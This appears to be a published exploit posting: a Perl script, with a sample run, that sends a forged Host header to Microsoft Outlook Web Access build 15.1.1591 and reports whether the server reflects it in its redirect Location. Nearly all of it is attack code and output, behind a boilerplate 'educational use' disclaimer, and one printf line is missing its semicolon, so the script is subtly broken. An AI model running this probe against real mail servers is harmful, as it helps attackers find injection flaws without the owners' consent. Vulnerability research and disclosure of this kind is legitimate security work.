Microsoft Outlook Web Access Build 15.1.1591 Header Injection

Microsoft Outlook Web Access build 15.1.1591 suffers from a remote host header injection vulnerability.


MD5 | 83e1a1d05799abc8fa7716f9dca9a040

#!/usr/bin/perl -w
#
# Microsoft Outlook Web Access build:15.1.1591 Remote Header 'Host' Injection Exploit
#
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# [[email protected] microsoft_owa]$ perl microsoft_owa.pl https://133.71.33.37/
# [+] Microsoft Outlook Web Access build:15.1.1591 Remote Header 'Host' Injection Exploit
# =======================================================================================
# [!] Author: Todor Donev <[email protected]>
# =======================================================================================
# [+] > Host: sultan-of-swing
# [+] > User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15
# [+] > Content-Type: application/x-www-form-urlencoded
# [+] < Cache-Control: no-cache
# [+] < Connection: close
# [+] < Date: Sat, 31 Aug 0000 13:37:00 GMT
# [+] < Pragma: no-cache
# [+] < Location: https://sultan-of-swing/owa/
# [+] < Server: Microsoft-IIS/10.0
# [+] < Content-Length: 0
# [+] < Client-Date: Sat, 31 Aug 0000 13:37:00 GMT
# [+] < Client-Peer: 133.71.33.37:443
# [+] < Client-Response-Num: 1
# [+] < Client-SSL-Cert-Issuer: CENSORED
# [+] < Client-SSL-Cert-Subject: CENSORED
# [+] < Client-SSL-Cipher: ECDHE-RSA-AES128-GCM-SHA256
# [+] < Client-SSL-Socket-Class: IO::Socket::SSL
# [+] < Client-SSL-Warning: Peer certificate not verified
# [+] < X-FEServer: MAILSVRTEST
# [+] < X-RequestId: CENSORED
# =======================================================================================
# [+] Microsoft OWA Location is Injected => https://sultan-of-swing/owa/
#
# Description:
# OWASP Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)
# https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)
#
#

use strict;
use v5.10;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;


my $host = shift || 'https://192.168.1.1:443/';

printf ("[+] Microsoft Outlook Web Access build:15.1.1591 Remote Header 'Host' Injection Exploit\n");
printf ("=======================================================================================\n");
printf ("[!] Author: Todor Donev <todor.donev\@gmail.com>\n");
printf ("[?] e.g. perl $0 https://target:port/\n") and exit if ($host !~ m/^http/);

my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(
protocols_allowed => ['http', 'https'],
ssl_opts => { verify_hostname => 0 }
);
$browser->timeout(10);
$browser->agent($user_agent);

my $request = HTTP::Request->new (POST => $host,
[ Content_Type => "application/x-www-form-urlencoded" ,
Host => "sultan-of-swing"], " ");
printf ("=======================================================================================\n");
my $response = $browser->request($request);
if ($response->header('Location') =~ m/sultan-of-swing/i){

say "[+] > $_: ", $request->header($_) for $request->header_field_names;
say "[+] < $_: ", $response->header($_) for $response->header_field_names;
printf ("=======================================================================================\n")
printf ("[+] Microsoft OWA Location is Injected => %s\n", $response->header('Location'));
exit;

} else {

printf ("[-] Exploit failed!\n");
exit;

}

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